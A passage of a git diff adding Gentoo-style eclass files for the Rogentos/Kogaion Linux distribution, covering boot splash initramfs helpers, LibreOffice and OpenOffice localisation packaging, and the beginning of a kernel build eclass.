@DESCRIPTION: +# Default splash theme name to use +GFX_SPLASH_NAME="${GFX_SPLASH_NAME:-kogaion}" + +# @FUNCTION: update_kernel_initramfs_splash +# @USAGE: update_kernel_initramfs_splash [splash_theme] [splash_file] +# @RETURN: 1, if something went wrong +# +# @MAINTAINER: +# Brindusa Stefan Cristian +# @AUTHOR: +# Fabio Erculiani +update_kernel_initramfs_splash() { + + [[ -z "${2}" ]] && die "wrong update_kernel_splash arguments" + + if ! has_version "media-gfx/splashutils"; then + ewarn "media-gfx/splashutils not found, cannot update kernel splash" + return 1 + fi + splash_geninitramfs -a "${2}" ${1} + return ${?} + +} + +# @FUNCTION: update_sabayon_kernel_initramfs_splash +# @USAGE: update_sabayon_kernel_initramfs_splash +# +# @AUTHOR: +# Fabio Erculiani +# @MAINTAINER: +# Brindusa Stefan Cristian +update_sabayon_kernel_initramfs_splash() { + local splash_name="${GFX_SPLASH_NAME}" + local override_splash_file="${ROOT}etc/splash_name" + if [ -f "${override_splash_file}" ]; then + found_splash_name=$(cat "${override_splash_file}" | cut -d" " -f 1) + if [ -d "/etc/splash/${found_splash_name}" ]; then + splash_name="${found_splash_name}" + fi + fi + for bootfile in `find ${ROOT}boot -name "${KERN_INITRAMFS_SEARCH_NAME}"`; do + einfo "Updating boot splash for ${bootfile}" + update_kernel_initramfs_splash "${GFX_SPLASH_NAME}" "${bootfile}" + done +} diff --git a/eclass/libreoffice-l10n-2.eclass b/eclass/libreoffice-l10n-2.eclass new file mode 100644 index 00000000..79d74359 --- /dev/null +++ b/eclass/libreoffice-l10n-2.eclass @@ -0,0 +1,139 @@ +# Copyright 2004-2012 Sabayon Linux +# Distributed under the terms of the GNU General Public License v2 +# $ + +OO_EXTENSIONS=( + "472ffb92d82cf502be039203c606643d-Sun-ODF-Template-Pack-en-US_1.0.0.oxt" + "53ca5e56ccd4cab3693ad32c6bd13343-Sun-ODF-Template-Pack-de_1.0.0.oxt" + "4ad003e7bbda5715f5f38fde1f707af2-Sun-ODF-Template-Pack-es_1.0.0.oxt" + "a53080dc876edcddb26eb4c3c7537469-Sun-ODF-Template-Pack-fr_1.0.0.oxt" + "09ec2dac030e1dcd5ef7fa1692691dc0-Sun-ODF-Template-Pack-hu_1.0.0.oxt" + "b33775feda3bcf823cad7ac361fd49a6-Sun-ODF-Template-Pack-it_1.0.0.oxt" +) + +inherit base rpm multilib versionator office-ext + +MY_LANG=${PN/libreoffice-l10n-/} +MY_LANG=${MY_LANG/_/-} + +# export all the available functions here +EXPORT_FUNCTIONS src_unpack src_prepare src_configure src_compile src_install pkg_postinst pkg_prerm + +# @ECLASS-VARIABLE: L10N_LANG +# @DESCRIPTION: +# Localization language name +L10N_LANG="${L10N_LANG:-${MY_LANG}}" + +# @ECLASS-VARIABLE: HELPPACK_AVAIL +# @DESCRIPTION: +# Set this to "0" if help pack package is not available +HELPPACK_AVAIL="${HELPPACK_AVAIL:-1}" + +# @ECLASS-VARIABLE: LANGPACK_AVAIL +# @DESCRIPTION: +# Set this to "0" if lang pack package is not available +LANGPACK_AVAIL="${LANGPACK_AVAIL:-1}" + +DESCRIPTION="LibreOffice.org ${L10N_LANG} localisation" +HOMEPAGE="http://www.documentfoundation.org" +RESTRICT="nomirror" + +L10N_VER="$(get_version_component_range 1-3)" +L10N_RC_VERSION="rc2" +LO_BRANCH=$(get_version_component_range 1-2) + +BASE_SRC_URI="http://download.documentfoundation.org/libreoffice/stable/${L10N_VER}/rpm" +SRC_URI="" +# try guessing +if [ "${LANGPACK_AVAIL}" = "1" ]; then + SRC_URI+="${BASE_SRC_URI}/x86/LibO_${L10N_VER}_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz" +fi +if [ "${HELPPACK_AVAIL}" = "1" ]; then + SRC_URI+=" ${BASE_SRC_URI}/x86/LibO_${L10N_VER}_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz" +fi + +IUSE="" + +EXT_URI="http://ooo.itc.hu/oxygenoffice/download/libreoffice" +TDEPEND="" +if [[ "${MY_LANG}" == "en_US" ]]; then + for i in ${OO_EXTENSIONS[@]}; do + TDEPEND+=" ${EXT_URI}/${i}" + done + SRC_URI+=" templates? ( ${TDEPEND} )" + IUSE+=" templates" +fi + +LICENSE="LGPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" + +RDEPEND="=app-office/libreoffice-${LO_BRANCH}*" +DEPEND="dev-util/pkgconfig + dev-util/intltool" + +S="${WORKDIR}" + +OOO_INSTDIR="/usr/$(get_libdir)/libreoffice" + +libreoffice-l10n-2_src_unpack() { + default + + local lang="${MY_LANG}" + local dir=${lang/_/-} + # for english we provide just helppack, as translation is always there + if [[ "${LANGPACK_AVAIL}" == "1" ]]; then + rpmdir="LibO_${L10N_VER}${L10N_RC_VERSION}_Linux_x86_langpack-rpm_${dir}/RPMS/" + [[ -d ${rpmdir} ]] || die "Missing directory: \"${rpmdir}\"" + # First remove dictionaries, we want to use system ones. + rm -rf "${S}/${rpmdir}/"*dict*.rpm + einfo "Unpacking Langpack" + rpm_unpack "./${rpmdir}/"*.rpm + fi + if [[ "${HELPPACK_AVAIL}" == "1" ]]; then + rpmdir="LibO_${L10N_VER}${L10N_RC_VERSION}_Linux_x86_helppack-rpm_${dir}/RPMS/" + [[ -d ${rpmdir} ]] || die "Missing directory: \"${rpmdir}\"" + einfo "Unpacking Helppack" + rpm_unpack ./"${rpmdir}/"*.rpm + fi + if [[ -n "${TDEPEND}" ]]; then + if use templates; then + for i in ${OO_EXTENSIONS[@]}; do + if [[ ! -f "${S}/${i}" ]]; then + cp -v "${DISTDIR}/${i}" "${S}" + ooextused+=( "${i}" ) + fi + done + fi + fi + OO_EXTENSIONS=() + for i in ${ooextused[@]}; do + OO_EXTENSIONS+=( ${i} ) + done +} + +libreoffice-l10n-2_src_prepare() { :; } +libreoffice-l10n-2_src_configure() { :; } +libreoffice-l10n-2_src_compile() { :; } + +libreoffice-l10n-2_src_install() { + local dir="${S}"/opt/libreoffice${LO_BRANCH}/ + # Condition required for people that do not install anything eg no linguas + # or just english with no offlinehelp. + if [[ -d "${dir}" ]] ; then + insinto /usr/$(get_libdir)/libreoffice/ + doins -r "${dir}"/* + fi + # remove extensions that are in the l10n for some weird reason + rm -rf "${ED}"/usr/$(get_libdir)/libreoffice/share/extensions/ + + echo "${OO_EXTENSIONS[@]}" + office-ext_src_install +} + +libreoffice-l10n-2_pkg_postinst() { + office-ext_pkg_postinst +} +libreoffice-l10n-2_pkg_prerm() { + office-ext_pkg_prerm +} diff --git a/eclass/libreoffice-l10n.eclass b/eclass/libreoffice-l10n.eclass new file mode 100644 index 00000000..dc9c85e3 --- /dev/null +++ b/eclass/libreoffice-l10n.eclass @@ -0,0 +1,124 @@ +# Copyright 2004-2010 Sabayon Project +# Distributed under the terms of the GNU General Public License v2 +# $ + +inherit base rpm multilib + +MY_LANG=${PN/libreoffice-l10n-/} +MY_LANG=${MY_LANG/_/-} +PKG_PV="${PV}" + +# export all the available functions here +EXPORT_FUNCTIONS src_unpack src_prepare src_install + +# @ECLASS-VARIABLE: L10N_LANG +# @DESCRIPTION: +# Localization language name +L10N_LANG="${L10N_LANG:-${MY_LANG}}" + +# @ECLASS-VARIABLE: HELPPACK_AVAIL +# @DESCRIPTION: +# Set this to "0" if help pack package is not available +HELPPACK_AVAIL="${HELPPACK_AVAIL:-1}" + +# @ECLASS-VARIABLE: LANGPACK_AVAIL +# @DESCRIPTION: +# Set this to "0" if lang pack package is not available +LANGPACK_AVAIL="${LANGPACK_AVAIL:-1}" + +DESCRIPTION="LibreOffice.org ${L10N_LANG} localisation" +HOMEPAGE="http://www.documentfoundation.org" +RESTRICT="nomirror" +OOVER="${PV}" +OODLVER="${PV}" +if [[ "${PV}" = "3.4.2.3" ]] || [[ "${PV}" = "3.4.3.2" ]]; then + SRC_URI="http://download.documentfoundation.org/libreoffice/stable/3.4.2/rpm/x86/LibO_3.4.2_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz" + if [ "${HELPPACK_AVAIL}" = "1" ]; then + SRC_URI+=" http://download.documentfoundation.org/libreoffice/stable/3.4.2/rpm/x86/LibO_3.4.2_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz" + fi +elif [[ "${PV}" = "3.4.4.2" ]] || [[ "${PV}" = "3.5.0.0" ]]; then + SRC_URI="http://download.documentfoundation.org/libreoffice/stable/3.4.4/rpm/x86/LibO_3.4.4_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz" + if [ "${HELPPACK_AVAIL}" = "1" ]; then + SRC_URI+=" http://download.documentfoundation.org/libreoffice/stable/3.4.4/rpm/x86/LibO_3.4.4_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz" + fi + if [[ "${PV}" = "3.5.0.0" ]]; then + PKG_PV="3.4" + fi +elif [[ "${PV}" = "3.4.5.2" ]]; then + SRC_URI="http://download.documentfoundation.org/libreoffice/stable/3.4.5/rpm/x86/LibO_3.4.5_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz" + if [ "${HELPPACK_AVAIL}" = "1" ]; then + SRC_URI+=" http://download.documentfoundation.org/libreoffice/stable/3.4.5/rpm/x86/LibO_3.4.5_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz" + fi +elif [[ "${PV}" = "3.5.1.2" ]]; then + if [ "${LANGPACK_AVAIL}" = "1" ]; then + SRC_URI="http://download.documentfoundation.org/libreoffice/stable/3.5.1/rpm/x86/LibO_3.5.1_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz" + fi + if [ "${HELPPACK_AVAIL}" = "1" ]; then + SRC_URI+=" http://download.documentfoundation.org/libreoffice/stable/3.5.1/rpm/x86/LibO_3.5.1_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz" + fi +else + die "unsupported libreoffice-l10n ${PV}" +fi + +LICENSE="LGPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +RDEPEND="~app-office/libreoffice-${PV}" +DEPEND="dev-util/pkgconfig + dev-util/intltool" + +S="${WORKDIR}/*/RPMS" + +OOO_INSTDIR="/usr/$(get_libdir)/libreoffice" + +libreoffice-l10n_src_unpack() { + cd "${WORKDIR}" + unpack ${A} + mkdir "${WORKDIR}/unpack" + cd "${WORKDIR}/unpack" + rpm_unpack ${S}/*.rpm + + # fix crappy rpms containing + # duplicated dirs + if [ "${PKG_PV:0:3}" = "3.5" ]; then + dict_en_dir="${WORKDIR}/unpack"/opt/libreoffice${PKG_PV:0:3}/share/extensions/dict-en + rm -rf "${dict_en_dir}" + fi +} + +libreoffice-l10n_src_prepare() { + einfo "nothing to prepare" +} + +libreoffice-l10n_src_install() { + dodir "${OOO_INSTDIR}/basis-link" + if [[ "${PKG_PV:0:3}" = "3.3" ]]; then + cp -R "${WORKDIR}"/unpack/opt/libreoffice/basis${PKG_PV:0:3}/* \ + "${ED}${OOO_INSTDIR}/basis-link/" || die "cannot copy" + cp -R "${WORKDIR}"/unpack/opt/libreoffice/{program,readmes} \ + "${ED}${OOO_INSTDIR}/" || die "cannot copy" + elif [[ "${PKG_PV:0:3}" = "3.4" ]]; then + if [[ "${PV:0:3}" = "3.4" ]]; then + cp -R "${WORKDIR}"/unpack/opt/libreoffice${PKG_PV:0:3}/basis${PKG_PV:0:3} \ + "${ED}${OOO_INSTDIR}"/basis${PV:0:3} || die "cannot copy" + else + # 3.5 with old l10ns + cp -R "${WORKDIR}"/unpack/opt/libreoffice${PKG_PV:0:3}/basis${PKG_PV:0:3}/* \ + "${ED}${OOO_INSTDIR}"/ || die "cannot copy" + fi + for source_dir in "${WORKDIR}"/unpack/opt/libreoffice${PKG_PV:0:3}/{program,readmes}; do + if [ -d "${source_dir}" ]; then + cp -R "${source_dir}" "${ED}${OOO_INSTDIR}/" || die "cannot copy" + fi + done + else + for source_dir in "${WORKDIR}"/unpack/opt/libreoffice${PKG_PV:0:3}/{help,program,readmes,share}; do + if [ -d "${source_dir}" ]; then + cp -R "${source_dir}" "${ED}${OOO_INSTDIR}/" || die "cannot copy" + fi + done + fi + chown root:root "${ED}/${OOO_INSTDIR}" -R || die "cannot chown" +} diff --git a/eclass/openoffice-l10n.eclass b/eclass/openoffice-l10n.eclass new file mode 100644 index 00000000..46d15d76 --- /dev/null +++ b/eclass/openoffice-l10n.eclass @@ -0,0 +1,68 @@ +# Copyright 2004-2010 Sabayon Project +# Distributed under the terms of the GNU General Public License v2 +# $ + +EAPI="2" + +inherit base rpm multilib + +MY_LANG=${PN/openoffice-l10n-/} +MY_LANG=${MY_LANG/_/-} +MY_PV="${PV/_/}" + +# export all the available functions here +EXPORT_FUNCTIONS src_unpack src_prepare src_install + +# @ECLASS-VARIABLE: L10N_LANG +# @DESCRIPTION: +# Localization language name +L10N_LANG="${L10N_LANG:-${MY_LANG}}" + +DESCRIPTION="OpenOffice.org ${L10N_LANG} localisation" +HOMEPAGE="http://projects.openoffice.org/native-lang.html" +if [[ "${PV}" = "3.2.0" ]]; then + SRC_URI="mirror://openoffice-extended/${PV}rc5/OOo_${PV}rc5_20100203_LinuxIntel_langpack_${MY_LANG}.tar.gz" +elif [[ "${PV}" = "3.2.1" ]]; then + SRC_URI="mirror://openoffice-extended/${PV}rc2/OOo_${PV}rc2_20100521_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz" +else + SRC_URI="--NOT_SET_SEE_openoffice-l10n.eclass--" +fi + +LICENSE="LGPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +RDEPEND="~app-office/openoffice-${PV}" +DEPEND="dev-util/pkgconfig + dev-util/intltool" + +S="${WORKDIR}/*/RPMS" + +OOO_INSTDIR="/usr/$(get_libdir)/openoffice" + +openoffice-l10n_src_unpack() { + cd "${WORKDIR}" + unpack "${A}" + mkdir "${WORKDIR}/unpack" + cd "${WORKDIR}/unpack" + rpm_unpack ${S}/*.rpm +} + +openoffice-l10n_src_prepare() { + einfo "nothing to prepare" +} + +openoffice-l10n_src_install() { + dodir "${OOO_INSTDIR}" + local MY_SRC="${WORKDIR}/unpack/opt/openoffice.org/*" + local MY_SRC2="${WORKDIR}/unpack/opt/openoffice.org3/*" + cp -R ${MY_SRC} "${D}${OOO_INSTDIR}/" || die "cannot copy" + cp -R ${MY_SRC2} "${D}${OOO_INSTDIR}/basis${PV:0:3}/" || die "cannot copy" + # FIXME: upstream bug, localisations listed below try to install the same file + # as ast bg bn dz el eo fi ga gu hi_IN km ku lv mk ml mr my oc om or pa_IN si ta te tr ug uk uz + local dict_file="${D}${OOO_INSTDIR}/basis${PV:0:3}/share/extension/install/dict-en.oxt" + [[ -f "${dict_file}" ]] && ewarn "Removing ${dict_file} due to collisions..." \ + && rm -f "${dict_file}" + chown root:root ${D}/${OOO_INSTDIR} -R +} diff --git a/eclass/rogentos-artwork.eclass b/eclass/rogentos-artwork.eclass new file mode 100644 index 00000000..3f51fef9 --- /dev/null +++ b/eclass/rogentos-artwork.eclass @@ -0,0 +1,62 @@ +# Copyright 2004-2009 Sabayon Project +# Copyright 2012 Rogentos +# Distributed under the terms of the GNU General Public License v2 +# Original Authors: Sabayon Team +# Maintainer BlackNoxis +# $ + +inherit eutils + +# @ECLASS-VARIABLE: KERN_INITRAMFS_SEARCH_NAME +# @DESCRIPTION: +# Argument used by `find` to search inside ${ROOT}boot Linux +# Kernel initramfs files to patch +KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*}" + +# @ECLASS-VARIABLE: GFX_SPLASH_NAME +# @DESCRIPTION: +# Default splash theme name to use +GFX_SPLASH_NAME="${GFX_SPLASH_NAME:-rogentos}" + +# @FUNCTION: update_kernel_initramfs_splash +# @USAGE: update_kernel_initramfs_splash [splash_theme] [splash_file] +# @RETURN: 1, if something went wrong +# +# @MAINTAINER: +# Brindusa Stefan Cristian +# @AUTHOR: +# Fabio Erculiani +update_kernel_initramfs_splash() { + + [[ -z "${2}" ]] && die "wrong update_kernel_splash arguments" + + if ! has_version "media-gfx/splashutils"; then + ewarn "media-gfx/splashutils not found, cannot update kernel splash" + return 1 + fi + splash_geninitramfs -a "${2}" ${1} + return ${?} + +} + +# @FUNCTION: update_sabayon_kernel_initramfs_splash +# @USAGE: update_sabayon_kernel_initramfs_splash +# +# @AUTHOR: +# Fabio Erculiani +# @MAINTAINER: +# Brindusa Stefan Cristian +update_sabayon_kernel_initramfs_splash() { + local splash_name="${GFX_SPLASH_NAME}" + local override_splash_file="${ROOT}etc/${splash_name}" + if [ -f "${override_splash_file}" ]; then + found_splash_name=$(cat "${override_splash_file}" | cut -d" " -f 1) + if [ -d "/etc/splash/${found_splash_name}" ]; then + splash_name="${found_splash_name}" + fi + fi + for bootfile in `find ${ROOT}boot -name "${KERN_INITRAMFS_SEARCH_NAME}"`; do + einfo "Updating boot splash for ${bootfile}" + update_kernel_initramfs_splash "${GFX_SPLASH_NAME}" "${bootfile}" + done +} diff --git a/eclass/rogentos-kernel.eclass b/eclass/rogentos-kernel.eclass new file mode 100644 index 00000000..7945398e --- /dev/null +++ b/eclass/rogentos-kernel.eclass @@ -0,0 +1,967 @@ +# Copyright 2004-2014 RogentOS Team +# Distributed under the terms of the GNU General Public License v2 +# $ + +# @ECLASS-VARIABLE: K_ROGKERNEL_NAME +# @DESCRIPTION: +# The kernel name used by the ebuild, it should be the ending ${PN} part +# for example, of linux-rogentos it is "${PN/${PN/-*}-}" (rogentos) +K_ROGKERNEL_NAME="${K_ROGKERNEL_NAME:-${PN/${PN/-*}-}}" + +# @ECLASS-VARIABLE: K_ROGKERNEL_SELF_TARBALL_NAME +# @DESCRIPTION: +# If the main kernel sources tarball is generated in-house and available +# on the "rogentos" mirror, set this variable to the extension name (see example +# below). This will disable ALL the extra/local patches (since they have to +# be applied inside the tarball). Moreover, K_ROGKERNEL_NAME, +# K_KERNEL_PATCH_VER will be ignored. +# Example: +# K_ROGKERNEL_SELF_TARBALL_NAME="rogentos" +# This would generate: +# SRC_URI="mirror://rogentos/sys-kernel/linux-${PV}+rogentos.tar.${K_TARBALL_EXT}" +K_ROGKERNEL_SELF_TARBALL_NAME="${K_ROGKERNEL_SELF_TARBALL_NAME:-}" + +# @ECLASS-VARIABLE: K_ROGKERNEL_PATCH_UPSTREAM_TARBALL +# @DESCRIPTION: +# If set to 1, the ebuild will fetch the upstream kernel tarball and +# apply the RogentOS patch against it. This strategy avoids the need of +# creating complete kernel source tarballs. The default value is 0. +K_ROGKERNEL_PATCH_UPSTREAM_TARBALL="${K_ROGKERNEL_PATCH_UPSTREAM_TARBALL:-0}" + +# @ECLASS-VARIABLE: K_ROGKERNEL_FORCE_SUBLEVEL +# @DESCRIPTION: +# Force the rewrite of SUBLEVEL in kernel sources Makefile +K_ROGKERNEL_FORCE_SUBLEVEL="${K_ROGKERNEL_FORCE_SUBLEVEL:-}" + +# @ECLASS-VARIABLE: K_ROGKERNEL_RESET_EXTRAVERSION +# @DESCRIPTION: +# Force the rewrite of EXTRAVERSION in kernel sources Makefile (setting it to "") +K_ROGKERNEL_RESET_EXTRAVERSION="${K_ROGKERNEL_RESET_EXTRAVERSION:-}" + +# @ECLASS-VARIABLE: K_ROGKERNEL_LONGTERM +# @DESCRIPTION: +# Consider Kernel stable patchset as longterm (changing URL) +K_ROGKERNEL_LONGTERM="${K_ROGKERNEL_LONGTERM:-}" + +# @ECLASS-VARIABLE: K_KERNEL_SOURCES_PKG +# @DESCRIPTION: +# The kernel sources package used to build this kernel binary +K_KERNEL_SOURCES_PKG="${K_KERNEL_SOURCES_PKG:-${CATEGORY}/${PN/*-}-sources-${PVR}}" + +# @ECLASS-VARIABLE: K_KERNEL_PATCH_VER +# @DESCRIPTION: +# If set to "3" for example, it applies the upstream kernel +# patch corresponding to patch-${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}.3.${K_TARBALL_EXT} +# @TODO: deprecate and remove once 2.6.x kernels are retired +K_KERNEL_PATCH_VER="${K_KERNEL_PATCH_VER:-}" + +# @ECLASS-VARIABLE: K_KERNEL_PATCH_HOTFIXES +# @DESCRIPTION: +# If there is the need to quickly apply patches to the kernel +# without bumping the kernel patch tarball (for eg. in case +# of just released security fixes), set this variable in your ebuild +# pointing to space separated list of patch paths. +K_KERNEL_PATCH_HOTFIXES="${K_KERNEL_PATCH_HOTFIXES:-}" + +# @ECLASS-VARIABLE: K_KERNEL_DISABLE_PR_EXTRAVERSION +# @DESCRIPTION: +# Set this to "1" if you want to tell kernel-2 eclass to +# not use ${PR} in kernel EXTRAVERSION (K_NOUSEPR). Otherwise, set +# this to "0" to not set K_NOUSEPR at all. +K_KERNEL_DISABLE_PR_EXTRAVERSION="${K_KERNEL_DISABLE_PR_EXTRAVERSION:-1}" + +# @ECLASS-VARIABLE: K_KERNEL_SLOT_USEPVR +# @DESCRIPTION: +# Set this to "1" if you want to use ${PVR} in SLOT variable, instead of ${PV} +# sys-kernel/linux-vserver (vserver-sources) require this. This won't work for +# firmware pkgs. +K_KERNEL_SLOT_USEPVR="${K_KERNEL_SLOT_USEPVR:-0}" + +# @ECLASS-VARIABLE: K_KERNEL_NEW_VERSIONING +# @DESCRIPTION: +# Set this to "1" if your kernel ebuild uses the new Linux kernel upstream +# versioning and ${PV} contains the stable revision, like 3.7.1. +# In the example above, this makes the SLOT variable contain only "3.7". +# The sublevel version can be forced using K_ROGKERNEL_FORCE_SUBLEVEL +K_KERNEL_NEW_VERSIONING="${K_KERNEL_NEW_VERSIONING:-0}" + +# @ECLASS-VARIABLE: K_KERNEL_IMAGE_NAME +# @DESCRIPTION: +# Set this to a custom kernel image make target if the default does not +# fit your needs. This value if set, is passed to genkernel through the +# --kernel-target= flag. +K_KERNEL_IMAGE_NAME="${K_KERNEL_IMAGE_NAME:-}" + +# @ECLASS-VARIABLE: K_KERNEL_LTS +# @DESCRIPTION: +# Set this to 1 to mark the kernel as Long Term Stable. "virtual/linux-binary-lts" +# shall be appended to ${PROVIDE}. +K_KERNEL_LTS="${K_KERNEL_LTS:-}" + +# @ECLASS-VARIABLE: K_KERNEL_IMAGE_PATH +# @DESCRIPTION: +# Set this to a custom relative kernel image path to override the default +# one. This value if set, is passed to genkernel through the +# --kernel-binary= flag. +K_KERNEL_IMAGE_PATH="${K_KERNEL_IMAGE_PATH:-}" + +# @ECLASS-VARIABLE: K_ROGKERNEL_FIRMWARE +# @DESCRIPTION: +# Set this to "1" if your ebuild is a kernel firmware package +K_FIRMWARE_PACKAGE="${K_FIRMWARE_PACKAGE:-}" + +# @ECLASS-VARIABLE: K_ONLY_SOURCES +# @DESCRIPTION: +# For every kernel binary package, there is a kernel source package associated +# if your ebuild is one of them, set this to "1" +K_ONLY_SOURCES="${K_ONLY_SOURCES:-}" + +# @ECLASS-VARIABLE: K_REQUIRED_LINUX_FIRMWARE_VER +# @DESCRIPTION: +# Minimum required version of sys-kernel/linux-formware package, if any +K_REQUIRED_LINUX_FIRMWARE_VER="${K_REQUIRED_LINUX_FIRMWARE_VER:-}" + +# @ECLASS-VARIABLE: K_WORKAROUND_SOURCES_COLLISION +# @DESCRIPTION: +# For kernel binary packages, Workaround file collisions with kernel +# sources already providing certain files (like Makefile). Used +# by linux-openvz and linux-vserver +K_WORKAROUND_SOURCES_COLLISION="${K_WORKAROUND_SOURCES_COLLISION:-}" + +# @ECLASS-VARIABLE: K_WORKAROUND_USE_REAL_EXTRAVERSION +# @DESCRIPTION: +# Some kernel sources are shipped with their own EXTRAVERSION and +# we're kindly asked to not touch it, if this is your case, set +# this variable and depmod will work correctly. +K_WORKAROUND_USE_REAL_EXTRAVERSION="${K_WORKAROUND_USE_REAL_EXTRAVERSION:-}" + +# @ECLASS-VARIABLE: K_ROGKERNEL_ZFS +# @DESCRIPTION: +# If set, this kernel features ZFS. +K_ROGKERNEL_ZFS="${K_ROGKERNEL_ZFS:-}" + +# @ECLASS-VARIABLE: K_GENKERNEL_ARGS +# @DESCRIPTION: +# Provide extra genkernel arguments using K_GENKERNEL_ARGS +K_GENKERNEL_ARGS="${K_GENKERNEL_ARGS:-}" + +# @ECLASS-VARIABLE: K_MKIMAGE_RAMDISK_ADDRESS +# @DESCRIPTION: +# [ARM ONLY] Provide the ramdisk load address to be used with mkimage +K_MKIMAGE_RAMDISK_ADDRESS="${K_MKIMAGE_RAMDISK_ADDRESS:-}" + +# @ECLASS-VARIABLE: K_MKIMAGE_RAMDISK_ENTRYPOINT +# @DESCRIPTION: +# [ARM ONLY] Provide the ramdisk entry point address to be used with mkimage +K_MKIMAGE_RAMDISK_ENTRYPOINT="${K_MKIMAGE_RAMDISK_ENTRYPOINT:-}" + +# @ECLASS-VARIABLE: K_MKIMAGE_WRAP_INITRAMFS +# @DESCRIPTION: +# [ARM ONLY] Execute mkimage against the generated initramfs Default is yes ("1"). +K_MKIMAGE_WRAP_INITRAMFS="${K_MKIMAGE_WRAP_INITRAMFS:-1}" + +# @ECLASS-VARIABLE: K_MKIMAGE_KERNEL_ADDRESS +# @DESCRIPTION: +# [ARM ONLY] Provide the kernel load address to be used with mkimage +K_MKIMAGE_KERNEL_ADDRESS="${K_MKIMAGE_KERNEL_ADDRESS:-}" + +KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*${K_ROGKERNEL_NAME}}" + +# Disable deblobbing feature +K_DEBLOB_AVAILABLE=0 +ETYPE="sources" +K_TARBALL_EXT="${K_TARBALL_EXT:-xz}" + +inherit versionator +if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then + CKV="$(get_version_component_range 1-2)" +fi + +inherit eutils multilib kernel-2 rogentos-artwork mount-boot linux-info + +# from kernel-2 eclass +detect_version +detect_arch + +DESCRIPTION="Kogaion, Argent and ArgOS linux kernel functions and phases" + + +K_LONGTERM_URL_STR="" +if [ -n "${K_ROGKERNEL_LONGTERM}" ]; then + K_LONGTERM_URL_STR="/longterm/v${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}" +fi + +## kernel-2 eclass settings +if [ "${K_ROGKERNEL_PATCH_UPSTREAM_TARBALL}" = "1" ]; then + _patch_name="$(get_version_component_range 1-2)-${K_ROGKERNEL_SELF_TARBALL_NAME}-${PVR}.patch.xz" + SRC_URI="${KERNEL_URI} + mirror://rogentos/${CATEGORY}/${_patch_name} + " + UNIPATCH_LIST="${UNIPATCH_LIST} ${DISTDIR}/${_patch_name}" + unset _patch_name +elif [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then + SRC_URI="mirror://rogentos/${CATEGORY}/linux-${PVR}+${K_ROGKERNEL_SELF_TARBALL_NAME}.tar.${K_TARBALL_EXT}" +else + SRC_URI="${KERNEL_URI}" +fi + +if [ -z "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then + if [ -n "${K_KERNEL_PATCH_VER}" ]; then + K_PATCH_NAME="patch-${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}.${K_KERNEL_PATCH_VER}.${K_TARBALL_EXT}" + SRC_URI="${SRC_URI} + mirror://kernel/linux/kernel/v${KV_MAJOR}.${KV_MINOR}${K_LONGTERM_URL_STR}/${K_PATCH_NAME}" + UNIPATCH_LIST="${DISTDIR}/${K_PATCH_NAME} + ${UNIPATCH_LIST}" + fi +fi +if [ -n "${K_KERNEL_PATCH_HOTFIXES}" ]; then + UNIPATCH_LIST="${UNIPATCH_LIST} ${K_KERNEL_PATCH_HOTFIXES}" +fi + +_get_real_kv_full() { + if [[ "${KV_MAJOR}${KV_MINOR}" -eq 26 ]]; then + echo "${ORIGINAL_KV_FULL}" + elif [[ "${OKV/.*}" = "3" ]]; then + # Linux 3.x support, KV_FULL is set to: 3.0-rogentos + # need to add another final .0 to the version part + echo "${ORIGINAL_KV_FULL/-/.0-}" + else + echo "${ORIGINAL_KV_FULL}" + fi +} + +# replace "linux" with K_ROGKERNEL_NAME, usually replaces +# "linux" with "rogentos" or "server" or "openvz" +KV_FULL="${KV_FULL/${PN/-*}/${K_ROGKERNEL_NAME}}" +EXTRAVERSION="${EXTRAVERSION/${PN/-*}/${K_ROGKERNEL_NAME}}" +# drop -rX if exists +if [[ -n "${PR//r0}" ]] && [[ "${K_KERNEL_DISABLE_PR_EXTRAVERSION}" = "1" ]] \ + && [[ -z "${K_NOSETEXTRAVERSION}" ]]; then + EXTRAVERSION="${EXTRAVERSION%-r*}" + KV_FULL="${KV_FULL%-r*}" + KV="${KV%-r*}" +fi +# rewrite it +ORIGINAL_KV_FULL="${KV_FULL}" +KV_FULL="$(_get_real_kv_full)" + +# Starting from linux-3.0, we still have to install +# sources stuff into /usr/src/linux-3.0.0-rogentos (example) +# where the last part must always match uname -r +# otherwise kernel-switcher (and RELEASE_LEVEL file) +# will complain badly +KV_OUT_DIR="/usr/src/linux-${KV_FULL}" +S="${WORKDIR}/linux-${KV_FULL}" + + +if [ -n "${K_FIRMWARE_PACKAGE}" ]; then + SLOT="0" +elif [ "${K_KERNEL_SLOT_USEPVR}" = "1" ]; then + SLOT="${PVR}" +elif [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then + SLOT="$(get_version_component_range 1-2)" +else + SLOT="${PV}" +fi + +_is_kernel_binary() { + if [ -z "${K_ONLY_SOURCES}" ] && [ -z "${K_FIRMWARE_PACKAGE}" ]; then + # yes it is + return 0 + else + # no it isn't + return 1 + fi +} + +_is_kernel_lts() { + local _ver="$(get_version_component_range 1-2)" + [ "${_ver}" = "3.0" ] && return 0 + [ "${_ver}" = "3.2" ] && return 0 + [ "${_ver}" = "3.4" ] && return 0 + [ "${_ver}" = "3.10" ] && return 0 + return 1 +} + +# provide extra virtual pkg +if _is_kernel_binary; then + PROVIDE="virtual/linux-binary" +# LTS support + if [ "${K_KERNEL_LTS}" = "1" 